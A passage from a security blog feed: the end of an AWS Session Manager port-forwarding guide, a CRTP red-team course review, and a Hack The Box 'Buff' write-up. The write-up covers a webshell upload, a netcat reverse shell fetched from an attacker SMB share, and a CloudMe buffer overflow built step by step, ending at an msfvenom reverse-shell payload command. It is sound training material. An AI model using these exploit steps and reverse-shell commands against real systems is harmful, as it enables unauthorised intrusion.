&lt;p&gt;If you can live with working in a browser, there&amp;rsquo;s not much else to do. Just hit the &amp;ldquo;Connect&amp;rdquo; button in the AWS console&amp;rsquo;s EC2 dashboard, select Session Manager, and your session will start (either a PowerShell session as the privileged &lt;code&gt;ssm-user&lt;/code&gt;, or an RDP session via &amp;ldquo;Fleet Manager&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;If you want access from your local terminal or your local RDP client (or direct access to any other network application on the instance, really), you can use the port-forwarding feature.&lt;/p&gt;
&lt;p&gt;To be able to start a session from your local machine you first have to install the Session Manager plugin from AWS (next to the &lt;code&gt;awscli&lt;/code&gt;). If you use &lt;code&gt;brew&lt;/code&gt; (on macOS), you can &lt;code&gt;brew install --cask session-manager-plugin&lt;/code&gt;. For a manual install or a different OS &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html"&gt;see the install guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we&amp;rsquo;re finally ready to connect. Let&amp;rsquo;s open up an RDP client and get our Windows user/password ready (decrypt the randomly generated one either via your key-pair or create a new user/password via the Session Manager in the AWS console, as mentioned above).&lt;/p&gt;
&lt;p&gt;We can then use the &lt;code&gt;ssm&lt;/code&gt; command to start our session. And just like we would do with SSH, we can specify a port mapping. In the following I map the remote RDP port 3389 to an arbitrary local port:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;aws ssm start-session --target i-1234 --document-name AWS-StartPortForwardingSession --parameters &amp;#39;{&amp;#34;portNumber&amp;#34;:[&amp;#34;3389&amp;#34;], &amp;#34;localPortNumber&amp;#34;: [&amp;#34;33089&amp;#34;]}&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With our local RDP client, we can now connect to &lt;code&gt;localhost:33089&lt;/code&gt;, authenticate with the Windows credentials and get a regular RDP experience.&lt;/p&gt;
&lt;p&gt;If you work with SSH, you can also use the Session Manager as a proxy for your SSH session (&lt;code&gt;document-name AWS-StartSSHSession&lt;/code&gt;).&lt;/p&gt;</description></item><item><title>CRTP Certification Review</title><link>https://davidhamann.de/2020/12/25/crtp-review-pentester-academy/</link><pubDate>Fri, 25 Dec 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/12/25/crtp-review-pentester-academy/</guid><description>&lt;p&gt;A couple of days ago I took the exam for the &lt;a href="https://www.pentesteracademy.com/activedirectorylab"&gt;CRTP&lt;/a&gt; (Certified Red Team Professional) certification by Pentester Academy. In this review I want to give a quick overview of the course contents, the labs and the exam.&lt;/p&gt;
&lt;h2 id="course-contents"&gt;Course Contents&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Attacking and Defending Active Directory&lt;/em&gt; is the accompanying course for the CRTP certification and it covers – as the name suggests – various common attack vectors and persistence techniques in Windows AD networks. The course also gives an overview of the defensive measures you can take – from more high-level explanations of privilege separation models to deploying decoy objects in the environment for deception.&lt;/p&gt;
&lt;p&gt;The course structure is roughly like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;AD Enumeration&lt;/li&gt;
&lt;li&gt;Local privilege escalation&lt;/li&gt;
&lt;li&gt;Domain privilege escalation and Lateral Movement&lt;/li&gt;
&lt;li&gt;Persistence&lt;/li&gt;
&lt;li&gt;Trust attacks across Domains and Forests&lt;/li&gt;
&lt;li&gt;Defenses and detections&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It starts out with a short refresher about Active Directory but pretty much expects you to already have a basic understanding of the main services and logical structure that make up AD. The same goes for PowerShell, which is used across the course and only introduced very briefly.&lt;/p&gt;
&lt;p&gt;Most of the enumeration is taught via &lt;a href="https://powersploit.readthedocs.io/en/latest/Recon/"&gt;PowerView&lt;/a&gt; and Microsoft&amp;rsquo;s &lt;a href="https://docs.microsoft.com/en-us/powershell/module/addsadministration/?view=win10-ps"&gt;Active Directory PowerShell module&lt;/a&gt;. The teacher, Nikhil Mittal, then walks you through common enumeration tasks, looking at Users, Computers, Shares, GPOs, explaining how to read ACLs, finding sessions, enumerating Trusts, etc.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s also a section on &lt;a href="https://github.com/BloodHoundAD/BloodHound"&gt;BloodHound&lt;/a&gt;, albeit very short as the course is supposed to be &amp;ldquo;Red Team&amp;rdquo; focussed and so the amount of &amp;ldquo;noise&amp;rdquo; you generate in an environment is taken into consideration to avoid being detected for as long as possible.&lt;/p&gt;
&lt;p&gt;While I mentioned &lt;em&gt;Local Privilege Escalation&lt;/em&gt; above, it is not the focus of the course and only touched very briefly (essentially just service abuses). The domain privilege escalation / lateral movement part is more thorough and teaches you how to jump from one box to another and eventually get Domain Admin or Enterprise Admin – again with the focus on abusing misconfigurations.&lt;/p&gt;
&lt;p&gt;The common attacks are all covered: kerberoasting in its different forms, constrained and unconstrained delegation abuses, utilizing trust tickets for moving across domains and reaching external forests, pivoting through SQL Servers, DNS Admins escalation, and more&amp;hellip;&lt;/p&gt;
&lt;p&gt;A big chunk of the course then goes into persistence techniques, i.e. what techniques an attacker can use to stay in the environment, likely remain undetected, and how long the persistence methods usually work. This was the section where I learned the most – there are just so many places you can hide and information you can use to &amp;ldquo;come back&amp;rdquo; at a later stage.&lt;/p&gt;
&lt;p&gt;The course covers the more known ways like golden and silver tickets, but also talks about techniques like skeleton keys, custom SSPs, various ACL settings, DCShadow, DSRM admin login, and so on.&lt;/p&gt;
&lt;p&gt;For a lot of techniques &lt;a href="https://github.com/gentilkiwi/mimikatz"&gt;mimikatz&lt;/a&gt; is used. Naturally, not everything can be taught in much detail but the course introduces you to topics you can then further research on your own.&lt;/p&gt;
&lt;p&gt;In the defensive part of the course the logs/events created during the attacks are discussed. But not only detection, also mitigation strategies and helpful tools are mentioned. And, as it is a cat and mouse game, also common bypasses and weaknesses of the mitigations/detections are shown.&lt;/p&gt;
&lt;h2 id="lab-environment"&gt;Lab environment&lt;/h2&gt;
&lt;p&gt;You get access to a lab which consists of an AD environment containing multiple domains and also trusts to another forest. From a provided &amp;ldquo;student vm&amp;rdquo; you can then try out the different attacks.&lt;/p&gt;
&lt;p&gt;The lab environment consists (as of the time of writing) of Windows Server 2016 machines and is solely focussed on exploiting misconfigurations (no CVEs with publicly available exploits). This introduces you to realistic scenarios as misconfigurations happen all the time and cannot be just &amp;ldquo;patched away&amp;rdquo; with an update.&lt;/p&gt;
&lt;p&gt;While it is a shared environment and certain attacks wouldn&amp;rsquo;t be possible when executed by multiple students, I didn&amp;rsquo;t have a single issue due to other &amp;ldquo;attackers&amp;rdquo; in the environment. Also, the lab resets every 24 hours.&lt;/p&gt;
&lt;p&gt;The lab can be accessed via VPN or directly through a browser via Apache Guacamole. I&amp;rsquo;m not a huge fan of doing everything in a browser, so I always connected via the VPN through a dedicated VM.&lt;/p&gt;
&lt;p&gt;There are packages of 30, 60 and 90 days of lab access. I chose 30 days and found it was time enough time to do the exersises multiple times, even though I only did the course on the side in the evenings. My suggestion would be to go for 30 days and do the first enumeration exercises in your own AD lab (if you have one) before starting the official lab time (you get access to the course material and can decide to start the labs at a later stage, which seems like a fair option).&lt;/p&gt;
&lt;p&gt;While not a deal breaker, I didn&amp;rsquo;t like so much that you needed a Google associated email account for accessing the lab control panel.&lt;/p&gt;
&lt;h2 id="exam"&gt;Exam&lt;/h2&gt;
&lt;p&gt;The exam drops you into an environment similar to the lab and requires you to get access to a given number of machines in the network. As it is an assumed breach scenario, access to a foothold machine and a low-priv user is given. You have 24 hours to compromise the machines and then 48 hours to write a report describing the weaknesses you exploited to gain access. You have to provide both a walkthrough and remediation recommendations.&lt;/p&gt;
&lt;p&gt;You can use any tool on the exam, not just the ones discussed in the course.&lt;/p&gt;
&lt;p&gt;Obviously, I cannot say anything about the exam&amp;rsquo;s contents. All what is needed to pass is explained and taught in the course but expect some hurdles on the way (you cannot just run BloodHound and follow a straight path of layed-out abuses). In my opinion it was a very well thought-out exam.&lt;/p&gt;
&lt;p&gt;My recommendations (that apply to any practical exam, really): feel comfortable with the techniques taught so that you can troubleshoot them when they don&amp;rsquo;t work as expected at first. Carefully enumerate before you try an attack. Don&amp;rsquo;t put your trust in the output of only a single tool, have alternative ways of verifying things. Keep hacking, even when you haven&amp;rsquo;t made any progress for some time – you know there &lt;em&gt;is&lt;/em&gt; a way in :-)&lt;/p&gt;
&lt;h2 id="should-you-take-the-course"&gt;Should you take the course?&lt;/h2&gt;
&lt;p&gt;This solely depends on what you want to learn and your previous experience. In my opinion, even if you&amp;rsquo;re already doing pentesting and AD is not your prime focus, you will learn new tricks. As mentioned above, for me especially the persistance techniques were worth it.&lt;/p&gt;
&lt;p&gt;If you know AD in and out and regularly perform assessments that also include the persistence part and cross-trust attacks, then maybe you won&amp;rsquo;t learn anything new. Pentester Academy also has a &lt;a href="https://www.pentesteracademy.com/gcb"&gt;much more challenging lab&lt;/a&gt; and something &lt;a href="https://www.pentesteracademy.com/redteamlab"&gt;in between&lt;/a&gt;, although I haven&amp;rsquo;t done them, so cannot say anything about it.&lt;/p&gt;
&lt;p&gt;While I have some non-AD material piled up which I want go through first, let me know if you have done one of the other red team labs. I&amp;rsquo;d like to hear your experience.&lt;/p&gt;
&lt;h2 id="update-2025"&gt;Update 2025&lt;/h2&gt;
&lt;p&gt;I was informed that the course has moved to a different company/site. It is now: &lt;a href="https://www.alteredsecurity.com/adlab"&gt;https://www.alteredsecurity.com/adlab&lt;/a&gt;. I assume everything is still more or less the same, but can&amp;rsquo;t say for sure.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #10: Buff</title><link>https://davidhamann.de/2020/11/21/htb-writeup-buff/</link><pubDate>Sat, 21 Nov 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/11/21/htb-writeup-buff/</guid><description>&lt;p&gt;This is a write-up of today&amp;rsquo;s retired &lt;a href="https://hackthebox.eu"&gt;Hack The Box&lt;/a&gt; machine &lt;em&gt;Buff&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Buff&lt;/em&gt; was a fun 20 point box that included exploitation of a known vulnerability in a gym management web app and a classic buffer overflow for getting an administrator shell.&lt;/p&gt;
&lt;p&gt;In my opinion doing this machine can also serve as a good practice if you plan on doing something like the OSCP or eCPPT certification and still need practice targets for the binary exploitation / buffer overflow part.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and enumeration&lt;/h2&gt;
&lt;p&gt;We start by scanning the box with a fast nmap scan:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -F 10.10.10.198

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:49 CET
Nmap scan report for 10.10.10.198
Host is up (0.099s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We run an additional full port scan (&lt;code&gt;-p-&lt;/code&gt;) in the background and checkout the discovered port 8080 by browsing to it. We are greeted with some kind of fitness site:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Website on port 8080" loading="lazy" src="https://davidhamann.de/images/buff-gym.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Browsing through the pages, we find a note on &lt;code&gt;/contact.php&lt;/code&gt; that says: &amp;ldquo;Made using Gym Management Software 1.0&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Using this information, we run a &lt;code&gt;searchsploit &amp;quot;gym man&amp;quot;&lt;/code&gt; to look for known vulnerabilities:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit &amp;#34;gym man&amp;#34;
------------------------------------------------------------------- ----------------------
 Exploit Title | Path
------------------------------------------------------------------- ----------------------
Gym Management System 1.0 - &amp;#39;id&amp;#39; SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ----------------------
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="exploiting-gym-management-software"&gt;Exploiting Gym Management Software&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Unauthenticated Remote Code Execution&lt;/code&gt; looks pretty good, so we&amp;rsquo;ll have a look at this one first (&lt;code&gt;searchsploit -x 48506&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;It essentially does a POST request to the &lt;code&gt;upload.php&lt;/code&gt; page (which does not check for a valid session) to send a file while bypassing the check for allowed file types (images). It is supposed to directly give you a webshell, but I find it often easier to just pipe the requests through a proxy and then modify the request as I see fit.&lt;/p&gt;
&lt;p&gt;So to let the requests go through Burp, we define a &lt;code&gt;proxies&lt;/code&gt; dictionary and pass it to the two requests (using the Python &lt;code&gt;requests&lt;/code&gt; module):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;proxies = { &amp;#39;http&amp;#39;: &amp;#39;http://127.0.0.1:8080&amp;#39; }
s.get(SERVER_URL, verify=False, proxies=proxies)
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The diff for completeness:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;81d80
&amp;lt; print header();
90c89,90
&amp;lt; s.get(SERVER_URL, verify=False)
---
&amp;gt; proxies = { &amp;#39;http&amp;#39;: &amp;#39;http://127.0.0.1:8080&amp;#39; }
&amp;gt; s.get(SERVER_URL, verify=False, proxies=proxies)
102c102
&amp;lt; r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
---
&amp;gt; r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can start the Burp interception proxy and run &lt;code&gt;python 48506_customized.py http://10.10.10.198:8080/&lt;/code&gt;. This will give us insight in the actual payload being used:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Intercepted payload" loading="lazy" src="https://davidhamann.de/images/buff_gym_intercept.png"&gt;&lt;/p&gt;
&lt;p&gt;Now that we know what the script would do, we can just send the request to the repeater tab, drop the original one and kill the script.&lt;/p&gt;
&lt;p&gt;In the repeater tab, we can make slight adjustments or just keep it as is – I change the file name for easier reference later on. When you do your own changes, make sure to keep the magic bytes intact:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Magic bytes" loading="lazy" src="https://davidhamann.de/images/buff_magic_bytes.png"&gt;&lt;/p&gt;
&lt;p&gt;After sending the request, we get code execution on the server by sending a GET to our previously uploaded webshell:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Code execution as shaun" loading="lazy" src="https://davidhamann.de/images/buff_first_code_exec.png"&gt;&lt;/p&gt;
&lt;p&gt;To get a proper shell, we can start an impacket smbserver and execute nc.exe directly from our attacker machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# launch smbserver
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py TMP $(pwd) -smb2support

# launch listener
nc -lvnp 80
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Execute nc.exe:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Executing nc.exe" loading="lazy" src="https://davidhamann.de/images/buff_nc.png"&gt;&lt;/p&gt;
&lt;h2 id="identifying-cloudme--the-potential-buff-target"&gt;Identifying CloudMe – The potential &amp;ldquo;Buff&amp;rdquo; target&lt;/h2&gt;
&lt;p&gt;Using our shell, we can start looking around in directories accessible to our user &lt;code&gt;shaun&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;Downloads&lt;/code&gt; we find a hint to a potentially installed software:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\shaun\Downloads&amp;gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020 12:27 &amp;lt;DIR&amp;gt; .
14/07/2020 12:27 &amp;lt;DIR&amp;gt; ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
 1 File(s) 17,830,824 bytes
 2 Dir(s) 7,753,715,712 bytes free
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick check with &lt;code&gt;tasklist&lt;/code&gt; confirms &lt;em&gt;CloudMe.exe&lt;/em&gt; is running. Noting the PID, we can also cross-reference that it is listening on port 8888.&lt;/p&gt;
&lt;p&gt;Searching for known vulnerabilities, we quickly find a couple of exploits using &lt;code&gt;searchsploit cloudme&lt;/code&gt;. Let&amp;rsquo;s have a quick look at &lt;code&gt;48389.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It looks like a simple buffer overflow, so why not make our own one from scratch!?&lt;/p&gt;
&lt;h2 id="developing-the-exploit"&gt;Developing the Exploit&lt;/h2&gt;
&lt;p&gt;First, we need to get the binary to our machine. We can copy it using the smbserver from earlier:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\shaun\Downloads&amp;gt;copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
 1 file(s) copied.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For good practice we can also compare the hash after transfer:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on target
powershell.exe -c &amp;#34;Get-FileHash CloudMe_1112.exe&amp;#34;

# on attacker machine
shasum -a 256 CloudMe_1112.exe
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="running-the-app-locally"&gt;Running the app locally&lt;/h3&gt;
&lt;p&gt;Since the target system is a Windows 10 box, we should install CloudMe on a similar VM.&lt;/p&gt;
&lt;p&gt;If you want to follow along, make sure to also install &lt;a href="https://www.immunityinc.com/products/debugger/"&gt;Immunity Debugger&lt;/a&gt; and &lt;a href="https://github.com/corelan/mona"&gt;mona.py&lt;/a&gt; on the machine.&lt;/p&gt;
&lt;p&gt;After installation, we can run the app and check again with &lt;code&gt;netstat&lt;/code&gt; that it is listening on port 8888.&lt;/p&gt;
&lt;p&gt;Since it is only listening on the loopback address, we&amp;rsquo;re setting up a &lt;a href="https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/"&gt;portproxy&lt;/a&gt; on our local Windows VM to proxy 172.16.246.136:8888 (IP of my VM) to 127.0.0.1:8888.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy add v4tov4 listenport=8888 listenaddress=172.16.246.136 connectport=8888 connectaddress=127.0.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="building-a-skeleton"&gt;Building a skeleton&lt;/h3&gt;
&lt;p&gt;The first thing we&amp;rsquo;re going to do is build a skeleton for our exploit. We will use Python and the built-in &lt;code&gt;socket&lt;/code&gt; module for creating a TCP socket for our connection.&lt;/p&gt;
&lt;p&gt;Something like this should do for now – a function to build the payload, and one to send it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;import socket

HOST, PORT = &amp;#39;172.16.246.136&amp;#39;, 8888


def build(size):
 return b&amp;#39;A&amp;#39; * size


def send(payload):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(2)
 s.connect((HOST, PORT))
 s.send(payload)
 try:
 res = s.recv(1024)
 print(&amp;#39;Recv: &amp;#39;, res)
 except socket.timeout:
 print(&amp;#34;Boom!&amp;#34;)


if __name__ == &amp;#39;__main__&amp;#39;:
 payload = build(50)
 send(payload)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="make-it-crash"&gt;Make it crash&lt;/h3&gt;
&lt;p&gt;To observe how the application is behaving when it receives inputs, we can now attach it to Immunity Debugger:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Attaching to the process" loading="lazy" src="https://davidhamann.de/images/buff_attach.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We can now start to test out different payload sizes – either manually or by looping through a range of sizes until the program crashes.&lt;/p&gt;
&lt;p&gt;It also makes sense to test out sizes that are larger than the minimum size required to make it crash, just to see how many of the bytes are actually coming through and end up at a usable memory region.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s settle for a payload size of 2000 and keep it this way (changing the size while developing the exploit just introduces new variables and thus complicates things later on).&lt;/p&gt;
&lt;p&gt;We can see that CloudMe is crashing and also identify that our payload of &amp;ldquo;A&amp;quot;s has overriden the return address and popped an invalid address into the EIP register. Moreover, we can see that the stack pointer (ESP) points to an address where more of our &amp;ldquo;A&amp;quot;s landed.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Crash for payload size 2000" loading="lazy" src="https://davidhamann.de/images/buff_crash_2000.png"&gt;&lt;/p&gt;
&lt;p&gt;To identify the exact offset we need for overwriting the return address and confirm that ESP points to an address right below, we will now create a cyclic pattern of various 4-byte values and use those instead of our &amp;ldquo;A&amp;quot;s.&lt;/p&gt;
&lt;h3 id="identifying-the-offset"&gt;Identifying the offset&lt;/h3&gt;
&lt;p&gt;Right in Immunity Debugger, we can use &lt;code&gt;mona.py&lt;/code&gt;&amp;rsquo;s &lt;code&gt;pc&lt;/code&gt; (pattern create) function to generate a pattern of 2000 bytes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona pc 2000
Creating cyclic pattern of 2000 bytes
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The actual pattern will be written to the specified logfile.&lt;/p&gt;
&lt;p&gt;We can then copy the ASCII version of the pattern and put it into our exploit script&amp;rsquo;s &lt;code&gt;build&lt;/code&gt; function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size):
 pattern = b&amp;#39;Aa0Aa1Aa2...&amp;#39;
 return pattern
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Restarting CloudMe and sending our new payload, we can see that we are now getting an access violation with a value of 316a4230 in EIP. To identify where these 4 bytes occur in our sent pattern, we can again use &lt;code&gt;mona.py&lt;/code&gt; to find out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona po 316a4230
[...]
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we now know that we must send 1052 bytes of junk before we overwrite the return address. Going back to the crashed application, we can also see that ESP contains an address located exactly after the 316a4230 value.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Overwritten return address" loading="lazy" src="https://davidhamann.de/images/buff_eip.png"&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s clean up our exploit script and add the information we gained. We are putting in &amp;ldquo;B&amp;quot;s for the &amp;ldquo;address&amp;rdquo; we want to place into the EIP and fill up the rest of our space with &amp;ldquo;C&amp;quot;s (just for easier visual reference in the debugger). As mentioned earlier, we also want to make sure that we keep our payload size the same as before.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;B&amp;#39; * 4
 shellcode = b&amp;#39;C&amp;#39; * (size - offset - len(eip))

 payload = junk + eip + shellcode
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Adjusting our call to &lt;code&gt;build&lt;/code&gt; to &lt;code&gt;payload = build(2000, 1052)&lt;/code&gt; and running the exploit again, we now see the in the debugger that our &amp;ldquo;B&amp;quot;s (hex 42) cleanly popped into EIP and that ESP points right at the beginning of our &amp;ldquo;C&amp;quot;s (hex 43).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Cleanly overwritten return address" loading="lazy" src="https://davidhamann.de/images/buff_eip2.png"&gt;&lt;/p&gt;
&lt;h3 id="finding-a-suitable-jmp-esp"&gt;Finding a suitable JMP ESP&lt;/h3&gt;
&lt;p&gt;If we would find any instructions in the loaded modules that would directly or indirectly jump to ESP, we could use the address of the beginning of the instruction as our return address. Once EIP points to a JMP ESP instruction, we would essentially jump right back to the beginning of our &amp;ldquo;C&amp;quot;s. Requirement for all this is that we don&amp;rsquo;t have protection methods such as ASLR (Address Space Layout Randomization) in place.&lt;/p&gt;
&lt;p&gt;To find such an address, we can utilize &lt;code&gt;mona.py&lt;/code&gt; again.&lt;/p&gt;
&lt;p&gt;First, we find available modules without ASLR:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona noaslr
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This shows us a couple of modules. Let&amp;rsquo;s look into these for JMP ESP (or similar) instructions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona jmp -r esp -m Qt5Core.dll
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We find a couple of results – let&amp;rsquo;s choose the first CALL ESP:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x68d652e1 : call esp | {PAGE_EXECUTE_READ} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add the address of the instruction to our exploit script (note that we reverse the byte order for little-endian). Additionally, we add opcode &lt;code&gt;\xcc&lt;/code&gt; (INT 3) where ESP will point so that the debugger will break when our &amp;ldquo;shellcode&amp;rdquo; is hit.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1
 shellcode = b&amp;#39;\xcc&amp;#39; * 4
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sending the payload again and observing the debugger, we can see that we&amp;rsquo;re again a little bit closer to controlling the program. The debugger paused as it hit our INT3 instruction.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Hitting SIGTRAP" loading="lazy" src="https://davidhamann.de/images/buff_sigtrap.png"&gt;&lt;/p&gt;
&lt;h3 id="finding-the-bad-bytes"&gt;Finding the &amp;ldquo;bad bytes&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;Before we can create our actual shellcode, we need to find out if certain bytes would cause issues (commonly bytes that have a special meaning, like NULL for string termination, potentially carriage return / line feed for HTTP applications and so on).&lt;/p&gt;
&lt;p&gt;An easy way to find out what bytes are causing issues is to literally send all possible byte values to the app and then look at the stack if something got garbled up. Let&amp;rsquo;s do this – again with the help of &lt;code&gt;mona.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona bytearray -cpb &amp;#39;\x00&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(I&amp;rsquo;m excluding &lt;code&gt;\x00&lt;/code&gt; right from the beginning)&lt;/p&gt;
&lt;p&gt;This will give us two files: &lt;code&gt;bytarray.txt&lt;/code&gt; and &lt;code&gt;bytarray.bin&lt;/code&gt;. The former we will use to copy paste into our exploit script, the latter for later comparision of what arrived on the stack.&lt;/p&gt;
&lt;p&gt;Our exploit code can be adjusted like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1
 shellcode = b&amp;#39;\xcc&amp;#39; * 4
 shellcode += (b&amp;#34;\x01\x02\x03\x04\x05\x06...&amp;#34;
 b&amp;#34;\x21\x22\x23\x24\x25\x26...&amp;#34;) # shortened for readability
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the debugger goes into a paused state, we can look at the stack and note down the address where our byte array starts (04030201 and so on). Using this starting address, we can now compare all the bytes from that address with the &lt;code&gt;bytearray.bin&lt;/code&gt; file created earlier.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona compare -f C:\ImmunityLogs\CloudMe\bytearray.bin -a 00a3d3d4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We get a nice message from &lt;code&gt;mona.py&lt;/code&gt; that no corruption was found.&lt;/p&gt;
&lt;p&gt;&lt;img alt="No more bad bytes" loading="lazy" src="https://davidhamann.de/images/buff_bad_bytes.png"&gt;&lt;/p&gt;
&lt;p&gt;Knowing this, we can finally generate our final shellcode to exploit CloudMe on our own VM.&lt;/p&gt;
&lt;p&gt;(If we would have seen corruption, we would have just removed the first corrupted byte from the byte array and sent it again – repeatedly until the sent byte array is unmodified.)&lt;/p&gt;
&lt;h3 id="generating-the-shellcode"&gt;Generating the shellcode&lt;/h3&gt;
&lt;p&gt;For generating the shellcode we pick the easy route and let &lt;code&gt;msfvenom&lt;/code&gt; do the hard work for us. Let&amp;rsquo;s generate a payload for getting a reverse shell and prevent the use of NULL bytes (don&amp;rsquo;t forget to update the IP to the one of your attacker machine).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The payload is 351 bytes in size, so it fits easily into the space we have available.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s add the shellcode to our exploit and pad it with a few NOPs so that the automatically chosen encoder (&lt;code&gt;x86/shikata_ga_nai&lt;/code&gt;) has enough room for unpacking our payload.&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;build&lt;/code&gt; function now looks like this:&lt;/p&gt;
